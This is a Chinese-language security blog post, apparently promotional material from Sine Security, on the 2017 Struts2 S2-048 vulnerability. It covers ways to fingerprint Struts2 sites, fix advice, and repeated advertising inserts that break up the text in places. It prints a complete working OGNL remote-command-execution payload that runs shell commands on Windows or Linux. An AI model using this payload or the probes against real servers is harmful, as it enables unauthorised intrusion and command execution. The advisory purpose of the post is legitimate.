2017年7月7号,struts2 048 爆出高危代码执行漏洞,众多struts2架构为基
础开发的网站、平台都中招,危害严重,尤其一些BC平台网站,以及金融平台网站,
都被入侵,服务器也遭受到攻击,许多用户数据被窃取,据SINE安全大体统计,BC行
业的网站百分之30都被黑。
如何判断是否是以struts2 s2-048开发的网站,SINE安全工程师有两种方案,这两种
判断struts2架构开发的网站方案,都有相应的要求,不能做到绝对化,也基本上可
以判断出是否含有struts2 048 网站漏洞。Sine安全公司是一家专注于:服务器安全
务提供商。

通常的判断是否是struts2漏洞有以下三种方案:
第一个方案、通过网站页面的回显错误消息来判断,页面不回显错误消息时则无效。
第二个方案通过网页后缀来判断,如.do .action,有可能是不准的,因为JBOSS系统也是以DO为后缀,其实 JBoss和tomcat不是一回事。
第三个方案判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
根据以上三个方案,SINE网站安全检测公司统计出两个确实可行的漏洞检测方案:
方案一、
通过 struts2 CheckboxInterceptor函数:我们安全工程师在调试Struts2漏洞的过
程中找到的方案。本来是想找到一个百分之百漏洞通杀的方案,但是一路笑来,结果
是没有找到。本质上的意思:是配合 HTML 中的 checkbox 来使用的,当某个参数没
有被提交的时候,则认定这个 checkbox 值没有被选中。

struts2 漏洞的前提条件:需要有一个能够回显到网站页面上的字符串类型的参数。
我们目前碰到最多的地方就是各个网站上面的搜索功能,搜索功能往往会将 keyword
的参数值回显到网站前端上面去。Sine安全公司是一家专注于:服务器安全、网站安
全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
我们来看一下struts2 CheckboxInterceptor 的 intercept 方案的代码:如下图:
它会检查所有的参数,发现如果有参数名是 __checkbox_param 这种格式的,并且参
数中不存在param参数,则它会添加一个名为 param 的参数,并将其值设置false。
漏洞案例:
原始 URL: http://sinesafe.com/?keyword=xxx,且页面回显出了 xxx结果。
检测 URL: http://sinesafe.com/?__checkbox_keyword=xxx,如果发现回显变成
了false,则可以认定目标是基于 Struts2 开发的网站。
原理就是CheckboxInterceptor 发现了一个名为 __checkbox_keyword 的参数,但是
没有发现 keyword 参数,则它会添加一个 keyword 参数,并将其值设置为 false。
实例截图:


方案二、
通过 actionErrors。此方法最早应该是由 kxlzx 在好些年前提出来的。
要求是对应的 Action 需要继承自 ActionSupport 类。
利用方法:
如原始 URL 为 http://sinesafe.com/
则检测所用的 URL 为 http://sinesafe.com/?actionErrors=1111
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。
异常包括但可能会出现以下几种特殊现象:
1、网站页面可能会直接出现 404 或者 500 等错误。
2、网站页面上输出了与业务有关错误消息,或者1111被回显到了网站前端的页面上。
3、网站页面的内容结构发生了明显的变化。Sine安全公司是一家专注于:服务器安全、
4、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务
提供商。
5、网站页面发生了301重定向。
Struts2(S2-048)POC:
name=%{(#_=‘multipart/form-data‘).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘id‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
struts2 漏洞利用详情如下图:

struts2 漏洞修复方案如下:
1.不启用Struts2-struts1-plugin插件。
2.升级struts2的版本到最新Apache Struts 2.5.10.1版本。
3.始终使用资源键,而不是将原始消息传递给ActionMessage。
4.不使用Struts2目录下的showcase.war
如果对Struts2 漏洞修复不懂的话,建议找专业的网站安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.